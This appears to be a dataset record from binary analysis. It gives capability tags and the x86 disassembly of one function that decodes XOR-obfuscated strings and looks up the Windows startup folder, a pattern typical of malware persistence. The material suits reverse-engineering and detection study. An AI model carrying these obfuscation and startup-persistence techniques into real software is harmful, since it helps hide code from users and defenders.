Function at 0x425f40
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Inspect section memory permissions
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x520585
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xa90
push esi
mov esi, ecx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push ecx
call fcn.0047d990
mov byte [ebp - 4], 4
sub esp, 0x10
mov eax, 1
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x14], eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, esp
mov dword [ebp - 0xc4], 0x878a8387
xorps xmm0, xmm0
mov word [ebp - 0xc0], 0x8381
movq qword [ebp - 0xbe], xmm0
mov byte [ebp - 0xb6], 0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0047d960
add esp, 8
mov dword [ebp - 4], 5
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc4], al
inc ecx
cmp ecx, 6
jb 0x425ff2
lea eax, [ebp - 0xc4]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x8ec]
mov byte [ebp - 0xbe], 0
call fcn.00402a50
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x8ec]
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00483b70
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.0047d5e0
lea ecx, [ebp - 0x8ec]
mov byte [ebp - 4], 4
call fcn.004029b0
push 0x104
lea eax, [ebp - 0xaa0]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0xaa0]
push eax
movzx eax, byte [ebp - 0x15]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0x24]
push eax
lea edx, [ebp - 0xaa0]
lea ecx, [ebp - 0x60]
call fcn.00483960
add esp, 4
mov dword [ebp - 4], 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 9
jne 0x426465
sub esp, 0x18
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.0047faa0
push 0
mov dl, 1
lea ecx, [ebp - 0x74]
call fcn.004259f0
add esp, 0x1c
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.0047e760
test eax, eax
jne 0x426141
call fcn.00481d80
lea ecx, [ebp - 0x3c]
call fcn.00481d80
lea ecx, [ebp - 0x60]
call fcn.004029b0
lea ecx, [ebx + 0xc]
call fcn.004029b0
lea ecx, [ebx + 0x24]
call fcn.004029b0
lea ecx, [ebx + 0x3c]
call fcn.004029b0
lea ecx, [ebx + 0x54]
call fcn.004029b0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
xor esi, esi
imul ecx
mov dword [ebp - 0x28], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4263b0
xor edi, edi
mov dword [ebp - 0x24], edi
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x74]
call fcn.0047e740
xorps xmm0, xmm0
mov byte [ebp - 0x13a], 0xb7
mov esi, eax
movq qword [ebp - 0x139], xmm0
mov byte [ebp - 0x131], 0
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x13a], al
inc ecx
cmp ecx, 1
jb 0x4261a0
lea eax, [ebp - 0x13a]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x8d4]
mov byte [ebp - 0x139], 0
call fcn.00402a50
lea ecx, [ebp - 0x8d4]
mov byte [ebp - 4], 0xb
call fcn.00402af0
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x904]
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0xc
mov ecx, esp
mov edx, eax
push esi
call fcn.00483ac0
add esp, 4
lea ecx, [ebp - 0x1bc]
xor dl, dl
push 0
call fcn.004259f0
add esp, 0x1c
lea ecx, [ebp - 0x904]
call fcn.004029b0
lea ecx, [ebp - 0x8d4]
mov byte [ebp - 4], 0xf
call fcn.004029b0
lea ecx, [ebp - 0x1bc]
call fcn.0047e760
test eax, eax
je 0x426375
mov esi, dword [ebp - 0x1bc]
xor ecx, ecx
mov dword [ebp - 0x40], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x1b8]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x426375
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebx + 0x50], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea edx, [ebx + 0x3c]
cmovae edx, dword [ebx + 0x3c]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x68], edx
jb 0x426292
mov ecx, dword [ecx]
mov dword [ebp - 0x48], ecx
mov esi, dword [ebx + 0x4c]
cmp esi, eax
ja 0x426343
sub eax, esi
test esi, esi
je 0x4263cd
movsx edx, byte [edx]
inc eax
add eax, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x44], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004fb3e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x426340
mov ecx, dword [ebp - 0x68]
mov edx, edi
sub esi, 4
jb 0x4262e1
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4262e6
add edx, 4
add ecx, 4
sub esi, 4
jae 0x4262d0
cmp esi, 0xfffffffc
je 0x42631a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x426313
cmp esi, 0xfffffffd
je 0x42631a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x426313
cmp esi, 0xfffffffe
je 0x42631a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x426313
cmp esi, 0xffffffff
je 0x42631a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42631a
sbb eax, eax
or eax, 1
jmp 0x42631c
xor eax, eax
test eax, eax
je 0x4263c1
mov eax, dword [ebp - 0x44]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x20]
push edi
call fcn.004fb3e0
mov esi, dword [ebx + 0x4c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4262c6
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1b8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1bc]
sub ecx, esi
add dword [ebp - 0x30], 0x18
inc dword [ebp - 0x40]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
jb 0x426270
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xa
call fcn.00481d80
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
add edi, 0x18
mov esi, dword [ebp - 0x28]
imul ecx
inc esi
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x28], esi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x426170
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 9
call fcn.00481d80
jmp 0x426497
sub edi, dword [ebp - 0x48]
cmp edi, 0xffffffff
je 0x426340
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x3c]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x20], eax
je 0x426438
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x74]
mov dword [ebp - 0x44], ecx
mov edx, dword [ecx + 0x10]
nop dword [eax]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x42640a
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x426414
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0048f820
add esp, 8
test al, al
jne 0x426340
mov ecx, dword [ebp - 0x44]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x20]
jb 0x426400
mov eax, dword [ebp - 0x74]
mov edi, dword [ebp - 0x24]
add eax, edi
mov ecx, dword [ebp - 0x38]
push eax
cmp ecx, dword [ebp - 0x34]
je 0x426457
call fcn.0047faa0
add dword [ebp - 0x38], 0x18
jmp 0x426343
push ecx
lea ecx, [ebp - 0x3c]
call fcn.0048c7f0
jmp 0x426343
push 0x5363dc
lea ecx, [ebp - 0x6e4]
call fcn.00402a50
lea eax, [ebp - 0x6e4]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x3c]
call fcn.0047e7c0
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 9
call fcn.004029b0
lea ecx, [ebp - 0x3c]
call fcn.0047e760
test eax, eax
jne 0x4264d5
push 0x5363dc
lea ecx, [ebp - 0x6e4]
call fcn.00402a50
lea eax, [ebp - 0x6e4]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x3c]
call fcn.0047e7c0
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 9
call fcn.004029b0
xorps xmm0, xmm0
mov byte [ebp - 0x130], 0xb7
movq qword [ebp - 0x12f], xmm0
xor ecx, ecx
mov byte [ebp - 0x127], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x130], al
inc ecx
cmp ecx, 1
jb 0x4264f0
lea eax, [ebp - 0x130]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x76c]
mov byte [ebp - 0x12f], 0
call fcn.00402a50
lea ecx, [ebp - 0x76c]
mov byte [ebp - 4], 0x12
call fcn.00402af0
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x91c]
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0x13
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00483ac0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x91c]
call fcn.004029b0
lea ecx, [ebp - 0x76c]
mov byte [ebp - 4], 9
call fcn.004029b0
cmp byte [ebp - 0x15], 0
jne 0x4266a7
movaps xmm0, xmmword [0x545540]
xor ecx, ecx
movups xmmword [ebp - 0x6c9], xmm0
mov byte [ebp - 0x6b1], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6b9], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6c9], al
inc ecx
cmp ecx, 0x10
jb 0x4265b0
lea eax, [ebp - 0x6c9]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x784]
mov byte [ebp - 0x6b9], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x784]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x60]
mov ecx, esi
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x784]
mov byte [ebp - 4], 9
call fcn.004029b0
cmp byte [ebp - 0x15], 0
je 0x4266a7
movaps xmm0, xmmword [0x543b20]
xor ecx, ecx
mov dword [ebp - 0x204], 0x8f8e83a7
mov dword [ebp - 0x200], 0x9783a083
movups xmmword [ebp - 0x1fc], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x204], al
inc ecx
cmp ecx, 0xf
jb 0x426650
lea eax, [ebp - 0x204]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x79c]
mov byte [ebp - 0x1f5], 0
call fcn.00402a50
lea ecx, [ebp - 0x79c]
mov byte [ebp - 4], 0x15
call fcn.00402af0
push eax
lea ecx, [ebx + 0x54]
call fcn.0047f8c0
lea ecx, [ebp - 0x79c]
mov byte [ebp - 4], 9
call fcn.004029b0
xorps xmm0, xmm0
mov byte [ebp - 0x126], 0xb7
movq qword [ebp - 0x125], xmm0
xor ecx, ecx
mov byte [ebp - 0x11d], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x126], al
inc ecx
cmp ecx, 1
jb 0x4266c2
lea eax, [ebp - 0x126]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x7b4]
mov byte [ebp - 0x125], 0
call fcn.00402a50
lea ecx, [ebp - 0x7b4]
mov byte [ebp - 4], 0x16
call fcn.00402af0
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x934]
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0x17
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00483ac0
add esp, 4
lea ecx, [ebp - 0x598]
call fcn.0040be30
add esp, 0x18
lea ecx, [ebp - 0x934]
call fcn.004029b0
lea ecx, [ebp - 0x7b4]
mov byte [ebp - 4], 0x1a
call fcn.004029b0
push 0x5363dc
lea ecx, [ebp - 0x320]
call fcn.00402a50
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x588], 0
je 0x426aad
sub esp, 0x28
lea edx, [ebp - 0x598]
mov eax, esp
lea ecx, [ebp - 0x5c8]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00483da0
add esp, 0x30
mov byte [ebp - 4], 0x1c
xor ecx, ecx
movaps xmm0, xmmword [0x543420]
mov byte [ebp - 0x4db], 0x84
movups xmmword [ebp - 0x4da], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4db], al
inc ecx
cmp ecx, 8
jb 0x4267b0
lea eax, [ebp - 0x4db]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7fc]
mov byte [ebp - 0x4d3], 0
call fcn.00402a50
mov eax, 3
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x7fc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402af0
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00483b70
cmp byte [eax], 0
je 0x42690e
movaps xmm0, xmmword [0x543420]
xor ecx, ecx
mov byte [ebp - 0x4ec], 0x84
movups xmmword [ebp - 0x4eb], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ec], al
inc ecx
cmp ecx, 8
jb 0x426830
lea eax, [ebp - 0x4ec]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x7e4]
mov byte [ebp - 0x4e4], 0
call fcn.00402a50
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x7e4]
mov dword [ebp - 0x1c], 7
call fcn.00402af0
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00483b70
movaps xmm0, xmmword [0x543780]
mov esi, eax
mov dword [ebp - 0x336], 0x9c8e828e
xor ecx, ecx
mov word [ebp - 0x332], 0x8096
movups xmmword [ebp - 0x330], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x336], al
inc ecx
cmp ecx, 0xd
jb 0x4268b0
lea eax, [ebp - 0x336]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x7cc]
mov byte [ebp - 0x329], 0
call fcn.00402a50
mov eax, 0xf
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x7cc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00483b70
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x426912
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 8
je 0x426930
and eax, 0xfffffff7
lea ecx, [ebp - 0x7cc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
test al, 4
je 0x42694b
and eax, 0xfffffffb
lea ecx, [ebp - 0x7e4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1c
test al, 2
je 0x42696a
and eax, 0xfffffffd
lea ecx, [ebp - 0x7fc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.004029b0
cmp byte [ebp - 0x15], 0
je 0x426a9e
movaps xmm0, xmmword [0x543420]
xor ecx, ecx
mov byte [ebp - 0x4fd], 0x84
movups xmmword [ebp - 0x4fc], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4fd], al
inc ecx
cmp ecx, 8
jb 0x426990
lea eax, [ebp - 0x4fd]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x82c]
mov byte [ebp - 0x4f5], 0
call fcn.00402a50
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], 0x20
call fcn.00402af0
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00483b70
movaps xmm0, xmmword [0x543780]
mov esi, eax
mov dword [ebp - 0x34c], 0x9c8e828e
xor ecx, ecx
mov word [ebp - 0x348], 0x8096
movups xmmword [ebp - 0x346], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x34c], al
inc ecx
cmp ecx, 0xd
jb 0x426a00
lea eax, [ebp - 0x34c]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x814]
mov byte [ebp - 0x33f], 0
call fcn.00402a50
lea ecx, [ebp - 0x814]
mov byte [ebp - 4], 0x21
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00483b70
lea ecx, [ebp - 0x964]
push ecx
mov ecx, eax
call fcn.00483cb0
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x94c]
call fcn.00402890
push eax
lea ecx, [ebp - 0x320]
call fcn.0047f920
lea ecx, [ebp - 0x94c]
call fcn.004029b0
lea ecx, [ebp - 0x964]
call fcn.004029b0
lea ecx, [ebp - 0x814]
call fcn.004029b0
lea ecx, [ebp - 0x82c]
call fcn.004029b0
lea ecx, [ebp - 0x5c8]
mov byte [ebp - 4], 0x1b
call fcn.0047d5c0
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x3c]
xor edi, edi
imul ecx
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x429498
nop
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x426b10
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
mov byte [ebp - 0x450], 0
mov byte [ebp - 4], 0x23
lea edi, [ebp - 0x450]
mov eax, dword [ebp - 0x14]
or eax, 0x10
jmp 0x426c17
mov byte [ebp - 0x10a], 0xb7
xor ecx, ecx
movq qword [ebp - 0x109], xmm0
mov byte [ebp - 0x101], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x10a], al
inc ecx
cmp ecx, 1
jb 0x426b30
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x10a]
mov byte [ebp - 0x109], 0
movups xmmword [ebp - 0x3c0], xmm0
mov dword [ebp - 0x3b0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3ac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426b75
sub ecx, edx
lea eax, [ebp - 0x10a]
push ecx
push eax
lea ecx, [ebp - 0x3c0]
call fcn.00402b20
mov dword [ebp - 4], 0x24
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0x3c0]
or eax, 0x20
cmp dword [ebp - 0x3ac], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x3c0]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426bd0
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x4296ac
cmp dword [edx + 0x14], 0x10
jb 0x426bf1
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x638]
call fcn.00487550
mov dword [ebp - 4], 0x25
lea edi, [ebp - 0x638]
mov eax, dword [ebp - 0x14]
or eax, 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x100], 0xb7
movq qword [ebp - 0xff], xmm0
mov byte [ebp - 0xf7], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x100], al
inc ecx
cmp ecx, 1
jb 0x426c40
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x100]
mov byte [ebp - 0xff], 0
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x398], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x394], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426c85
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
lea ecx, [ebp - 0x3a8]
call fcn.00402b20
mov dword [ebp - 4], 0x26
lea edx, [ebp - 0x3a8]
cmp dword [ebp - 0x394], 0x10
cmovae edx, dword [ebp - 0x3a8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x426cc1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x4296ac
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x620]
call fcn.00487550
push edi
lea eax, [ebp - 0x620]
mov byte [ebp - 4], 0x27
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x608]
call fcn.00487360
mov edi, dword [ebp - 0x14]
or edi, 0x10000000
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x608]
mov dword [ebp - 0x20], esi
push eax
call fcn.0047f840
xorps xmm0, xmm0
or edi, 0x20000000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x5f4]
test al, al
sete byte [ebp - 0x15]
cmp ecx, 0x10
jb 0x426dc8
mov edx, dword [ebp - 0x608]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426dbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x5f4], 0xf
mov byte [ebp - 0x608], 0
cmp ecx, 0x10
jb 0x426e21
mov edx, dword [ebp - 0x620]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426e17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x60c], 0xf
mov byte [ebp - 0x620], 0
cmp ecx, 0x10
jb 0x426e7a
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426e70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 4], 0x24
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
test al, 0x40
je 0x426f04
mov ecx, dword [ebp - 0x624]
and eax, 0xffffffbf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x426ee9
mov edx, dword [ebp - 0x638]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426edc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 0xf
mov byte [ebp - 0x638], 0
mov dword [ebp - 4], 0x23
test al, 0x20
je 0x426f70
mov ecx, dword [ebp - 0x3ac]
and eax, 0xffffffdf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x426f55
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426f48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
mov dword [ebp - 4], 0x1b
test al, 0x10
je 0x426fd9
mov ecx, dword [ebp - 0x43c]
and eax, 0xffffffef
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x426fbe
mov edx, dword [ebp - 0x450]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x426fb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0xf
mov byte [ebp - 0x450], 0
cmp byte [ebp - 0x15], 0
je 0x4274b8
xor ecx, ecx
cmp byte [ebx + 8], cl
je 0x4270f0
movaps xmm0, xmmword [0x543b20]
mov dword [ebp - 0x1b0], 0x8f8e83a7
mov dword [ebp - 0x1ac], 0x9783a083
movups xmmword [ebp - 0x1a8], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1b0], al
inc ecx
cmp ecx, 0xf
jb 0x427010
mov dword [0x558508], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0x1a1], 0
movups xmmword [ebp - 0x550], xmm0
mov dword [ebp - 0x540], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x53c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427055
sub ecx, edx
lea eax, [ebp - 0x1b0]
push ecx
push eax
lea ecx, [ebp - 0x550]
call fcn.00402b20
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x550]
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
or eax, 0x80
mov dword [ebp - 0x6f0], 0
cmp dword [ebp - 0x53c], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x550]
mov ecx, edx
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x700], xmm0
mov dword [ebp - 0x6ec], 0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4270c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x700]
call fcn.00402b20
mov dword [ebp - 4], 0x2a
lea edi, [ebp - 0x700]
mov eax, dword [ebp - 0x14]
or eax, 0x100
jmp 0x4271fb
movaps xmm0, xmmword [0x545540]
movups xmmword [ebp - 0x5b1], xmm0
mov byte [ebp - 0x599], 0
xorps xmm0, xmm0
movq qword [ebp - 0x5a1], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5b1], al
inc ecx
cmp ecx, 0x10
jb 0x427110
mov dword [0x5585d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5b1]
mov byte [ebp - 0x5a1], 0
movups xmmword [ebp - 0x538], xmm0
mov dword [ebp - 0x528], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x524], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427155
sub ecx, edx
lea eax, [ebp - 0x5b1]
push ecx
push eax
lea ecx, [ebp - 0x538]
call fcn.00402b20
mov dword [ebp - 4], 0x2b
lea edi, [ebp - 0x538]
mov eax, dword [ebp - 0x14]
or eax, 0x200
